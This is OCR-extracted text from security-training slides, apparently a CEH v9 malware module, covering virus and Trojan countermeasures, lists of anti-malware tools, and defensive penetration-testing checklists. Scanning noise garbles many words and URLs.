fpiEatvia e mall attachments Possibility of virus infection may

corrupt data, thus regularly maintain
data back up
Schedule regular scans for all drives after ——
the installation of anti-virus software : : —
Do not accept disks or programs without
checking them first using a current

\ - 4 version of an anti-virus progra
\L\-« : —— _:
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Virus and Worms Countermeasures
(Cont’d)

Ensure the executable code sent to the 4 g Run disk clean up, registry scanner and
organization is approved " | defragmentation once a week

Do not boot the machine with infected ' f Y Turn on the firewall if the OS used is
bootable system disk Windows XP

Run anti-spyware or adware once in

Know about the latest virus threats
a week

Check the DVDs and CDs for virus . | 2\ Do not open the files with more than
infection _ one file type extension

Ensure the pop-up blocker is turned on 7 W, '\ Be cautious with the files being sent
and use an Internet firewall _ through the instant messenger
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IModule Flow

Introduction
to Malware

Malware
Detection

#EthicalHackx CEH v9

www.ethicalhackx.com

= o

Trojan Virus and Worm
Concepts Concepts

Counter- Anti-Malware
measures Software

EthicalHackx.com

Malware Reverse
Engineering

Penetration
Testing
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Anti-Trojan Software:
TrojanHunter

e R

Registry scanning for
detecting traces of
Trojans in the registry

Inifile scanning for
detecting traces of Trojans
' in configuration files

resident memory scanning -
detect any Trojans if they

for
detecting any modified
sriant of a particular build

TrojanHunter Guard for

#EthicalHackx CEH v9

TrojanHunter is an advanced malware scanner that
detects all sorts of malware such as Trojans, spyware,
adware, and dialers

File View GScan Tocks Help
N @ W
Full Scan Quace Scan Lipcisie Euit

Select Folders to Scan

Sry TrajarHunter Mosw - Click Hene!

Scon Defads

Trojans were detected

Obvects scanned: 5040

Trejana

¢

Qo

£

http://www.trojanhunter.com
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Anti-Trojan Software: Emsisoft
Anti-Malware

Emsisoft ANTI-MALWARE

Emsisoft Anti-Malware provides
against viruses, Trojans, T

'spyware, adware, worms, bots,
keyloggers, and rootkits
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Two combined scanners for
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Three guards against new ? vt
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. Anti-Trojan Software

Anti Malware BOClean : 3 | SUPERAnNtiSpyware
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Anti Hacker Trojan Remover
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SPYWAREfighter ' STOPzilla AntiMalware
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Malwarebytes Anti-Malware
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http:/ www. malwarebytes.org

ZeroSpyware
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AVG Antivirus

http/ffree.avg.com

BitDefender

httpedSwanwe, bitdefender. com

Kaspersky Anti-Virus

http: S wanwe, kaspersky. com

Trend Micro Titanium

Maximum Security
http:/fapac.trendmicro.com

Norton AntiVirus
httpeS e, symantec.com
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i-virus Tools
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F-Secure Anti-Virus
http:/fwnnw f-secure. com

avast! Pro Antivirus 2014

http:/funwwe ovast.com

McAfee AntiVirus Plus 2014

http:/ home.meafee.com

ESET Smart Security 7
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Total Defense Internet

Security Suite
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Malware Reverse
Engineering
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Pen Testing for Trojans and
Backdoors

Use tools such as Scan the system for open ports,
TCPView and running processes, registry entries,
CurrPorts device drivers and services

If any suspicious port, process,

registry entry, device driver or
Use tools such as service is discovered, check the
What's Running associated executable files

Collect more infermation about

these from publisher’s websites,
Use tools such as if available, and Internet
jvi6 Power Tools 2014 and

Check if the open ports are known
RegScanner

to be spened by Trojans in wild

Use tools such as
DriverView and
Driver Detective

Use tools such as
SrvMan and ServiWin
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Pen Testing for Trojans and
Backdoors (Contq)

Use tools such as
Security AutoRun and
Autoruns for Windows

Use tools such as FCIV,
TRIPWIRE, SIGVERIF,
FastSum, and WinMD5

Use tools such as Capsa
Metwork Analyzer

Use tools such as FCIV
and TRIPWIRE

Use tools such as
TrojanHunter and
Emsisoft Anti-Malware

EthicalHackx.com

Check the startup programs and determine if
all the programs in the list can be recognized
with known functionalities

Check the data files for modification or
manipulation by opening several files and
comparing hash value of these files with a
pre-computed hash

Check for suspicious network activities such
as upload of bulk files or unusually high
traffic going to a particular web address

Check the critical 05 file modification or
manipulation using tools such as TRIPWIRE or
manually comparing hash values if you have a
backup copy

Run an updated Trojan scanner from a
reputed vendor to identify Trojans in wild
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Pen Testing for Trojans and
Backdoors (Contq)

If Trojans Document all your findings in
are previous steps; it helps in
detected? determining the next action if
. Trojans are identified in the

system

Isolate infected system from
the network immediately to
prevent further infection

Sanitize the complete system
for Trojans using an updated
anti-virus

Is updated
anti-virus
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Penetration Testing for Virus

Install an anti-virus
program on

the network
infrastructure and on
the end-user’s system

Update the anti-virus

software to update virus
Anti-virus is Install latest version | . . i database of the newly
installed? BEA AL AR : identified viruses

Enable real-time
scanning

v
Scan the system for
viruses, which helps to

Anti-virus is | T —- ' repair damage or delete
Update Anti- >
updated? B EHES S SR RS files infected with

viruses

Enable real-time
--------- » Scan the system

scanning
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Penetration Testing for Virus
(Cont’d)

Use tools such as What's Scan the system for running
Running and Autoruns for processes, registry entry changes,
Windows Windows services, startup programs,
files and folders integrity, and OS5 files
modification

Scan for running <

Use tools such as jv16 Power

Tools 2014 and RegScanner If any suspicious process, registry

entry, startup program or service is
discovered, check the associated
executable files

| Use tools such as
. Sl abliin Collect more information about these

SrvMan and ServiWin
from publisher’s websites if available,
and Internet

. Use tools such as Security Check the startup programs and
by ek e AutoRun, and Autoruns determine if all the programs in the
list can be recognized with known
functionalities

Use tools such as FCIV, Check the data files for madification
TRIPWIRE, and SIGVERIF or manipulation by opening several
files and comparing hash value of
these files with a pre-computed hash

fise tanle cooh as FON:ani Check the critical OS file modification
TRIPWIRE or manipulation using tools such as
TRIPWIRE or manually comparing hash
values if you have a backup copy
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Penetration Testing for Virus
(Cont’d)

If suspicious activity is
found, isolate infected
system from the network
immediately to prevent
further infection

-seeeeeeo . System is not infected

Run the anti-virus in safe
mode and if any virus is
detected, set the anti-virus
to quarantine or delete
infected files

Set the Anti-virus to
guarantine or delete
infected files
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Penetration Testing for Virus
(Cont’d)

Install another anti-virus and scan
the system for viruses

If virus is found set the anti-virus
to quarantine or delete the
infected files

If virus is not found, format the
system with a clean operating

system copy

Document all the findings in
previous steps; it helps in
determining the next action if
viruses are identified in the
system

Set the Anti-virus to
quarantine or delete
infected files

FH.¥N
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- Module Summary

s _—

Q

alware is a malicious software that damages or disables computer systems and gives
limited or full control of the systems to the malware creator for the purpose of theft or fraud

Trojan is a program in which the malicious or harmful code is contained inside apparently harmless
programming or data in such a way that it can get control and cause damage, such as ruining the
file allocation table on your hard disk

A wrapper binds a Trojan executable with an innocent looking .EXE application such as games or
office applications

An exploit kit or crimeware toolkit is a platform to deliver exploits and payload on the target system

Avirus is a self-replicating program that produces its own copy by attaching itself to another
program, computer boot sector or document

Viruses are categorized according to what do they infect and how do they infect
Awareness and preventive measures are the best defences against Trojans and viruses

Using anti-Trojan and anti-virus tools such as TrojanHunter and Emsisoft Anti-Malware to detect
and eliminate Trojans and viruses
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